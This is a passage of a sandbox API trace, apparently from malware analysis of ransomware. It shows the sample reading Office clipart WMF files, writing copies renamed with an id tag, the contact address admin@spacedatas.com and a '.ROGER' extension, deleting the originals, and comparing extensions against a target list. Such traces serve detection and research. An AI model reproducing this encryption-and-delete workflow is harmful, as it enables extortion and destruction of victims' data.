lpNumberOfBytesRead=0x3bffed4*=0x212c, lpOverlapped=0x0) returned 1 [0059.601] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2130, lpOverlapped=0x0) returned 1 [0059.602] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.602] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.602] SetEndOfFile (hFile=0x410) returned 1 [0059.602] CloseHandle (hObject=0x410) returned 1 [0059.602] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.603] SetEndOfFile (hFile=0x3f8) returned 1 [0059.603] CloseHandle (hObject=0x3f8) returned 1 [0059.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.604] lstrlenW (lpString=".doc") returned 4 [0059.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString=".docx") returned 5 [0059.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.604] lstrlenW (lpString=".pdf") returned 4 [0059.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString=".xls") returned 4 [0059.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.604] lstrlenW (lpString=".xlsx") returned 5 [0059.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.604] lstrlenW (lpString=".ppt") returned 4 [0059.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.604] lstrlenW (lpString=".zip") returned 4 [0059.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.604] lstrlenW (lpString=".rar") returned 4 [0059.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString=".bz2") returned 4 [0059.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString=".7z") returned 3 [0059.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.604] lstrlenW (lpString=".dbf") returned 4 [0059.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.604] lstrlenW (lpString=".1cd") returned 4 [0059.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".jpg") returned 4 [0059.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".doc") returned 4 [0059.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString=".docx") returned 5 [0059.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.605] lstrlenW (lpString=".pdf") returned 4 [0059.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString=".xls") returned 4 [0059.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.605] lstrlenW (lpString=".xlsx") returned 5 [0059.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.605] lstrlenW (lpString=".ppt") returned 4 [0059.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".zip") returned 4 [0059.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.605] lstrlenW (lpString=".rar") returned 4 [0059.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString=".bz2") returned 4 [0059.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString=".7z") returned 3 [0059.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".dbf") returned 4 [0059.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".1cd") returned 4 [0059.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0059.605] lstrlenW (lpString=".jpg") returned 4 [0059.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.606] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.606] lstrlenW (lpString="AN04235_.WMF") returned 12 [0059.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.606] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=7804) returned 1 [0059.606] CloseHandle (hObject=0x3f8) returned 1 [0059.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0059.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.606] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.606] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0059.607] GetLastError () returned 0x0 [0059.607] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0059.609] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0059.610] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.610] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.610] SetEndOfFile (hFile=0x410) returned 1 [0059.610] CloseHandle (hObject=0x410) returned 1 [0059.610] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.610] SetEndOfFile (hFile=0x3f8) returned 1 [0059.611] CloseHandle (hObject=0x3f8) returned 1 [0059.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0059.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.611] lstrlenW (lpString=".doc") returned 4 [0059.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.612] lstrlenW (lpString=".docx") returned 5 [0059.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.612] lstrlenW (lpString=".pdf") returned 4 [0059.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.612] lstrlenW (lpString=".xls") returned 4 [0059.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.612] lstrlenW (lpString=".xlsx") returned 5 [0059.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.612] lstrlenW (lpString=".ppt") returned 4 [0059.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString=".zip") returned 4 [0059.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.613] lstrlenW (lpString=".rar") returned 4 [0059.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString=".bz2") returned 4 [0059.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString=".7z") returned 3 [0059.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString=".dbf") returned 4 [0059.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString=".1cd") returned 4 [0059.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString=".jpg") returned 4 [0059.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.613] lstrlenW (lpString=".doc") returned 4 [0059.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString=".docx") returned 5 [0059.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.613] lstrlenW (lpString=".pdf") returned 4 [0059.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString=".xls") returned 4 [0059.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.613] lstrlenW (lpString=".xlsx") returned 5 [0059.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.613] lstrlenW (lpString=".ppt") returned 4 [0059.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.614] lstrlenW (lpString=".zip") returned 4 [0059.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.614] lstrlenW (lpString=".rar") returned 4 [0059.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.614] lstrlenW (lpString=".bz2") returned 4 [0059.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.614] lstrlenW (lpString=".7z") returned 3 [0059.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.614] lstrlenW (lpString=".dbf") returned 4 [0059.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.614] lstrlenW (lpString=".1cd") returned 4 [0059.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0059.614] lstrlenW (lpString=".jpg") returned 4 [0059.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.614] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.614] lstrlenW (lpString="AN04267_.WMF") returned 12 [0059.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.614] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=7804) returned 1 [0059.614] CloseHandle (hObject=0x3f8) returned 1 [0059.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0059.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.615] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.615] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0059.615] GetLastError () returned 0x0 [0059.615] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0059.804] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0059.805] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.805] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.805] SetEndOfFile (hFile=0x410) returned 1 [0059.805] CloseHandle (hObject=0x410) returned 1 [0059.805] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.805] SetEndOfFile (hFile=0x3f8) returned 1 [0059.806] CloseHandle (hObject=0x3f8) returned 1 [0059.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.807] lstrlenW (lpString=".doc") returned 4 [0059.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".docx") returned 5 [0059.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".pdf") returned 4 [0059.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".xls") returned 4 [0059.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.807] lstrlenW (lpString=".xlsx") returned 5 [0059.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".ppt") returned 4 [0059.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.807] lstrlenW (lpString=".zip") returned 4 [0059.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.807] lstrlenW (lpString=".rar") returned 4 [0059.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".bz2") returned 4 [0059.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".7z") returned 3 [0059.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.807] lstrlenW (lpString=".dbf") returned 4 [0059.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.807] lstrlenW (lpString=".1cd") returned 4 [0059.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".jpg") returned 4 [0059.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".doc") returned 4 [0059.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".docx") returned 5 [0059.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.808] lstrlenW (lpString=".pdf") returned 4 [0059.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".xls") returned 4 [0059.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.808] lstrlenW (lpString=".xlsx") returned 5 [0059.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.808] lstrlenW (lpString=".ppt") returned 4 [0059.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".zip") returned 4 [0059.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.808] lstrlenW (lpString=".rar") returned 4 [0059.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".bz2") returned 4 [0059.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".7z") returned 3 [0059.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".dbf") returned 4 [0059.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".1cd") returned 4 [0059.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0059.808] lstrlenW (lpString=".jpg") returned 4 [0059.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.809] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.809] lstrlenW (lpString="AN04332_.WMF") returned 12 [0059.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.810] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4296) returned 1 [0059.810] CloseHandle (hObject=0x3f8) returned 1 [0059.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0059.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.810] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.811] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0059.811] GetLastError () returned 0x0 [0059.811] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x10c8, lpOverlapped=0x0) returned 1 [0059.946] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0059.947] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.947] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, 